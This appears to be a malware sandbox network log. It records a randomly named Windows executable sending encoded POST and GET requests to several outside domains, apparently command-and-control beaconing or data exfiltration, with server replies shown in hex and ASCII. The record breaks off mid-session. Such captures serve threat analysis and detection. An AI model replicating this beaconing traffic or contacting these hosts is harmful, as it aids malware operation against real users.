20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49718	172.96.187.60	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:02.183551073 CEST	522	OUT	GET /v2c3/?lHul=nfQTqL40vDEpIp30&vf5pwn=4KW7rJi8xQgG5JuhUUy4oHXtvgFnSuEzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxet5jRO5AJzixTprPi8JCHFDrvphN2mQYrYWI0Ljg/1k5GCA== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.dalong.site Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 26, 2024 15:23:02.624314070 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 26 Sep 2024 13:23:02 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49719	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:07.737963915 CEST	793	OUT	POST /xamn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mgeducacaopro.online Origin: http://www.mgeducacaopro.online Content-Length: 207 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mgeducacaopro.online/xamn/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 54 4b 51 55 74 4a 6c 4d 70 2f 31 46 56 35 70 35 44 62 36 4d 32 32 39 48 4c 39 57 37 52 53 66 2b 41 66 69 74 38 66 51 73 6e 72 7a 77 56 33 64 4c 32 30 74 42 49 6f 4a 6b 34 6b 38 6d 75 73 4b 53 56 39 6f 79 74 78 6f 53 4e 62 53 53 6d 71 7a 73 6e 47 71 34 76 6d 46 36 52 33 41 38 30 49 2b 77 57 58 55 67 78 64 49 6f 51 4a 36 57 56 56 6c 34 61 30 77 35 42 68 49 66 6f 54 34 7a 4f 46 4e 71 36 66 63 2b 42 4f 54 74 76 63 76 77 39 4c 47 4c 2b 55 45 58 49 33 66 59 6d 79 62 42 54 65 59 45 38 61 65 52 4e 67 55 42 7a 2b 30 59 5a 33 75 64 58 4e 38 68 7a 7a 42 6b 6f 31 2f 47 54 45 6b 6f 2b 2f 73 74 78 43 55 3d Data Ascii: vf5pwn=TKQUtJlMp/1FV5p5Db6M229HL9W7RSf+Afit8fQsnrzwV3dL20tBIoJk4k8musKSV9oytxoSNbSSmqzsnGq4vmF6R3A80I+wWXUgxdIoQJ6WVVl4a0w5BhIfoT4zOFNq6fc+BOTtvcvw9LGL+UEXI3fYmybBTeYE8aeRNgUBz+0YZ3udXN8hzzBko1/GTEko+/stxCU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49720	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:10.471750975 CEST	813	OUT	POST /xamn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mgeducacaopro.online Origin: http://www.mgeducacaopro.online Content-Length: 227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mgeducacaopro.online/xamn/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 54 4b 51 55 74 4a 6c 4d 70 2f 31 46 61 35 5a 35 45 34 69 4d 2b 32 39 45 46 64 57 37 44 53 66 41 41 66 2b 74 38 65 6c 33 6b 66 66 77 55 56 46 4c 33 77 35 42 4a 6f 4a 6b 74 55 38 6e 7a 63 4b 6e 56 39 6b 4d 74 30 51 53 4e 59 75 53 6d 72 44 73 6e 56 43 37 67 57 46 6b 65 58 41 36 35 6f 2b 77 57 58 55 67 78 64 64 67 51 4a 43 57 56 6c 56 34 4c 6c 77 2b 61 42 49 63 2f 6a 34 7a 4b 46 4e 78 36 66 63 59 42 50 50 48 76 65 6e 77 39 4c 57 4c 2b 41 59 55 47 33 66 53 72 53 61 44 62 4e 6c 6a 38 71 65 52 46 43 59 42 77 39 67 4d 52 68 44 33 4e 76 30 4a 67 54 74 63 34 6d 33 78 43 30 46 42 6b 63 38 64 76 56 42 52 78 57 6c 32 52 46 4a 61 5a 75 44 51 75 49 49 72 58 36 4f 52 Data Ascii: vf5pwn=TKQUtJlMp/1Fa5Z5E4iM+29EFdW7DSfAAf+t8el3kffwUVFL3w5BJoJktU8nzcKnV9kMt0QSNYuSmrDsnVC7gWFkeXA65o+wWXUgxddgQJCWVlV4Llw+aBIc/j4zKFNx6fcYBPPHvenw9LWL+AYUG3fSrSaDbNlj8qeRFCYBw9gMRhD3Nv0JgTtc4m3xC0FBkc8dvVBRxWl2RFJaZuDQuIIrX6OR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49721	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:13.021862030 CEST	1830	OUT	POST /xamn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mgeducacaopro.online Origin: http://www.mgeducacaopro.online Content-Length: 1243 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mgeducacaopro.online/xamn/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 54 4b 51 55 74 4a 6c 4d 70 2f 31 46 61 35 5a 35 45 34 69 4d 2b 32 39 45 46 64 57 37 44 53 66 41 41 66 2b 74 38 65 6c 33 6b 65 4c 77 56 67 5a 4c 32 58 46 42 62 59 4a 6b 73 55 38 36 7a 63 4b 36 56 39 73 41 74 30 4d 73 4e 64 71 53 6e 49 62 73 32 30 43 37 37 6d 46 6b 63 58 41 2f 30 49 2b 6c 57 58 6b 6b 78 64 4e 67 51 4a 43 57 56 6e 4e 34 62 45 77 2b 64 78 49 66 6f 54 34 42 4f 46 4d 2f 36 66 46 6a 42 50 62 39 76 50 48 77 38 76 4b 4c 38 7a 77 55 4b 33 66 63 34 69 61 68 62 4e 70 38 38 71 43 6e 46 48 6c 6b 77 39 49 4d 52 6c 32 36 5a 4d 49 70 79 41 35 51 32 58 7a 54 59 6a 74 69 75 76 38 35 74 33 5a 65 35 31 39 35 54 69 52 4f 4d 74 43 62 31 2b 73 46 58 71 76 5a 51 36 46 47 31 61 66 63 79 38 56 6e 45 64 4e 46 6f 77 53 55 6a 6a 71 51 71 6a 4b 75 55 61 6a 75 57 4a 42 45 55 41 4a 44 4c 6b 48 78 43 4e 77 68 45 4a 30 69 69 2b 6c 64 46 62 52 64 47 51 42 6c 58 37 30 65 47 46 57 71 37 63 6a 7a 6a 34 41 30 38 2f 7a 57 44 49 33 41 56 2f 71 35 33 55 69 63 34 2b 4c 49 54 43 4b 65 65 59 51 32 53 52 4d [TRUNCATED] Data Ascii: vf5pwn=TKQUtJlMp/1Fa5Z5E4iM+29EFdW7DSfAAf+t8el3keLwVgZL2XFBbYJksU86zcK6V9sAt0MsNdqSnIbs20C77mFkcXA/0I+lWXkkxdNgQJCWVnN4bEw+dxIfoT4BOFM/6fFjBPb9vPHw8vKL8zwUK3fc4iahbNp88qCnFHlkw9IMRl26ZMIpyA5Q2XzTYjtiuv85t3Ze5195TiROMtCb1+sFXqvZQ6FG1afcy8VnEdNFowSUjjqQqjKuUajuWJBEUAJDLkHxCNwhEJ0ii+ldFbRdGQBlX70eGFWq7cjzj4A08/zWDI3AV/q53Uic4+LITCKeeYQ2SRMWt3L8sO+lcRyJLQQi8vzpME1VdLw1dKGYb9tSMt3ePXrypnan/0YGUDDdDbwCnfnf4Wsawisuhumy6BsA2griXSUxyn2JW/NwjAmVCkgQzVidU165XMyAELTe5DctvwKL/S7kDXsO0SjiFdqg00SqjOzEw1v8Lk95kvvPFcjHy5126PK7xc/GLkssKvOP8IO44z22nlkI2e764iv3MqUOLVmy6/9GjfYJwiH6f5rc4ElA704ACuHYoFzm0Xr05mEOomd/5WaZBadvQf+2yZEXE/ARQN10tc+2mnTJ0pGdEYwhV7+QiBUxx3cp954U6fyVGuv3qJ0bMAGaRhLg71Q1NdfjRSIlHKn4HHYZ36MDI5e1JdrecrBZlBOd9N953TTcnNNA+dM7Iu0IJUTaVyP/SdYwfqJzZIp1gl7fd7233fXXddi2vFs7MhuA9jnQCtvHka0ffjmx18+MlRg9pJwWKWN/tFO3gyo+Z7ku8GlU6AWNEa4o00sn37EI3oDtCQlDtSvWI6W7b7OjMx5oijCqNYiX6/AarxpowHmWamF+t/wy2Uxeig+loraAJNGv0YQhnkSCXSjaogSCXksuyRwPRG/IznIsU/QTlWBWMNiSkKtxnFr62cBOg3KgAnl4UX9BsQVRZcd5Ku/mgqMF3tdf6mwNvAsNsNPBy [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49722	3.33.130.190	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:15.565221071 CEST	531	OUT	GET /xamn/?vf5pwn=eI40u+kXl6dCNOxtOqaVh3t2St2MUXLKXPnA2oRVh57cb1FOyw5acKt1uSVkrtOGePUCnlUQIJS7kZjahSWR4W4fWnAv/fqpdm4W58wxIsvJOF8/cGdHH0QztCYqDUNhvQ==&lHul=nfQTqL40vDEpIp30 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mgeducacaopro.online Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 26, 2024 15:23:16.977345943 CEST	416	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 26 Sep 2024 13:23:16 GMT Content-Type: text/html Content-Length: 276 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 76 66 35 70 77 6e 3d 65 49 34 30 75 2b 6b 58 6c 36 64 43 4e 4f 78 74 4f 71 61 56 68 33 74 32 53 74 32 4d 55 58 4c 4b 58 50 6e 41 32 6f 52 56 68 35 37 63 62 31 46 4f 79 77 35 61 63 4b 74 31 75 53 56 6b 72 74 4f 47 65 50 55 43 6e 6c 55 51 49 4a 53 37 6b 5a 6a 61 68 53 57 52 34 57 34 66 57 6e 41 76 2f 66 71 70 64 6d 34 57 35 38 77 78 49 73 76 4a 4f 46 38 2f 63 47 64 48 48 30 51 7a 74 43 59 71 44 55 4e 68 76 51 3d 3d 26 6c 48 75 6c 3d 6e 66 51 54 71 4c 34 30 76 44 45 70 49 70 33 30 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?vf5pwn=eI40u+kXl6dCNOxtOqaVh3t2St2MUXLKXPnA2oRVh57cb1FOyw5acKt1uSVkrtOGePUCnlUQIJS7kZjahSWR4W4fWnAv/fqpdm4W58wxIsvJOF8/cGdHH0QztCYqDUNhvQ==&lHul=nfQTqL40vDEpIp30"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49724	67.223.117.189	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:22.129138947 CEST	769	OUT	POST /fava/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.heldhold.xyz Origin: http://www.heldhold.xyz Content-Length: 207 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.heldhold.xyz/fava/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 4c 41 72 35 71 39 4c 79 57 75 6f 35 4e 30 5a 50 59 48 74 39 58 66 65 4c 57 76 59 67 6e 62 51 70 47 34 43 52 46 53 73 39 76 56 39 51 56 46 6f 43 59 4c 41 78 41 6f 62 52 50 6e 6e 39 75 49 77 71 33 4a 77 37 66 44 42 32 4a 37 6b 4a 30 70 70 51 33 73 38 47 66 6a 51 50 6b 35 4f 64 4e 44 4f 4f 6a 57 4a 4b 6f 67 63 64 37 45 46 54 49 2f 74 51 64 5a 71 46 59 4b 77 36 78 7a 36 6e 47 50 4a 39 78 63 4f 32 66 76 51 71 58 74 2f 67 5a 76 67 78 71 43 53 73 45 44 44 2f 53 37 65 49 45 45 74 61 64 4e 36 67 75 51 4c 54 2b 65 52 68 58 66 4a 78 37 48 69 66 41 62 6b 30 50 4b 2b 4a 36 4e 5a 4e 6f 68 65 41 50 63 77 3d Data Ascii: vf5pwn=LAr5q9LyWuo5N0ZPYHt9XfeLWvYgnbQpG4CRFSs9vV9QVFoCYLAxAobRPnn9uIwq3Jw7fDB2J7kJ0ppQ3s8GfjQPk5OdNDOOjWJKogcd7EFTI/tQdZqFYKw6xz6nGPJ9xcO2fvQqXt/gZvgxqCSsEDD/S7eIEEtadN6guQLT+eRhXfJx7HifAbk0PK+J6NZNoheAPcw=
Sep 26, 2024 15:23:22.709606886 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 26 Sep 2024 13:23:22 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 26, 2024 15:23:22.709640026 CEST	1236	IN	Data Raw: 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 Data Ascii: rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL -->
Sep 26, 2024 15:23:22.709655046 CEST	448	IN	Data Raw: 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 67 2d 74 72 61 6e 73 70 61 72 65 6e 74 20 74 65 78 74 2d 77 68 69 74 65 22 3e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 Data Ascii: <button type="submit" class="btn bg-transparent text-white"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="ju-loading-scre
Sep 26, 2024 15:23:22.709822893 CEST	1236	IN	Data Raw: 74 68 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 66 61 62 6c 65 73 2d 74 6f 70 2d 68 65 61 64 65 72 2d 73 69 67 6e 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 Data Ascii: th-background-color fables-top-header-signin"> <div class="container"> <div class="row" id="top-row"> <div class="col-12 col-sm-2 col-lg-5"> <div class="dropdown"> <button class="btn bt
Sep 26, 2024 15:23:22.709830046 CEST	1236	IN	Data Raw: 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 74 68 69 72 64 2d 74 65 78 74 2d 63 6f 6c 6f 72 20 66 6f 6e 74 2d 31 33 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 61 62 6c 65 73 2d 69 63 6f 6e 70 68 6f 6e 65 22 3e 3c 2f 73 70 61 Data Ascii: <p class="fables-third-text-color font-13"><span class="fables-iconphone"></span> Phone : (888) 6000 6000 - (888) 6000 6000</p> </div> <div class="col-12 col-sm-5 col-lg-3 text-right"> <p class="fabl
Sep 26, 2024 15:23:22.710150003 CEST	1236	IN	Data Raw: 6f 6e 20 74 65 78 74 2d 77 68 69 74 65 20 66 6f 6e 74 2d 31 36 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: on text-white font-16"></span> </button> <div class="collapse navbar-collapse" id="fablesNavDropdown"> <ul class="navbar-nav mx-auto fables-nav">
Sep 26, 2024 15:23:22.710156918 CEST	1236	IN	Data Raw: 70 64 6f 77 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 Data Ascii: pdown"> <a class="nav-link dropdown-toggle" href="#" id="sub-nav2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Features
Sep 26, 2024 15:23:22.710163116 CEST	896	IN	Data Raw: 6c 22 3e 48 65 61 64 65 72 20 4d 65 67 61 20 6d 65 6e 75 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: l">Header Mega menu</a></li> </ul> </li> <li><a class="dropdown-item dropdown-toggl
Sep 26, 2024 15:23:22.710556984 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 Data Ascii: > <li><a class="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu">
Sep 26, 2024 15:23:22.710571051 CEST	1236	IN	Data Raw: 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 Data Ascii: ></li> <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark</a></li> </ul>
Sep 26, 2024 15:23:22.714574099 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Footer 1</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49725	67.223.117.189	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:23:24.677985907 CEST	789	OUT	POST /fava/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.heldhold.xyz Origin: http://www.heldhold.xyz Content-Length: 227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.heldhold.xyz/fava/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 4c 41 72 35 71 39 4c 79 57 75 6f 35 4e 55 70 50 55 41 5a 39 43 76 65 45 63 50 59 67 2b 4c 51 58 47 34 47 52 46 51 42 34 73 6a 4e 51 56 6e 77 43 5a 50 55 78 42 6f 62 52 58 58 6e 38 6a 6f 77 74 33 4a 38 4a 66 43 39 32 4a 37 77 4a 30 70 5a 51 33 66 45 46 66 7a 51 4e 2f 4a 50 62 4a 44 4f 4f 6a 57 4a 4b 6f 67 59 6e 37 45 64 54 49 50 39 51 50 4e 2b 43 65 36 77 31 77 7a 36 6e 4c 76 4a 35 78 63 50 6a 66 72 51 45 58 76 33 67 5a 71 45 78 71 7a 53 76 4e 44 44 44 4e 72 66 69 4b 6c 51 44 62 38 4c 68 76 53 43 79 70 76 4e 2b 53 70 6b 62 68 6c 71 33 54 37 49 4d 66 5a 32 2b 72 39 34 6b 79 43 4f 77 52 4c 6b 57 61 6f 2b 75 57 72 5a 54 74 7a 74 34 37 6f 43 32 30 50 2b 4c Data Ascii: 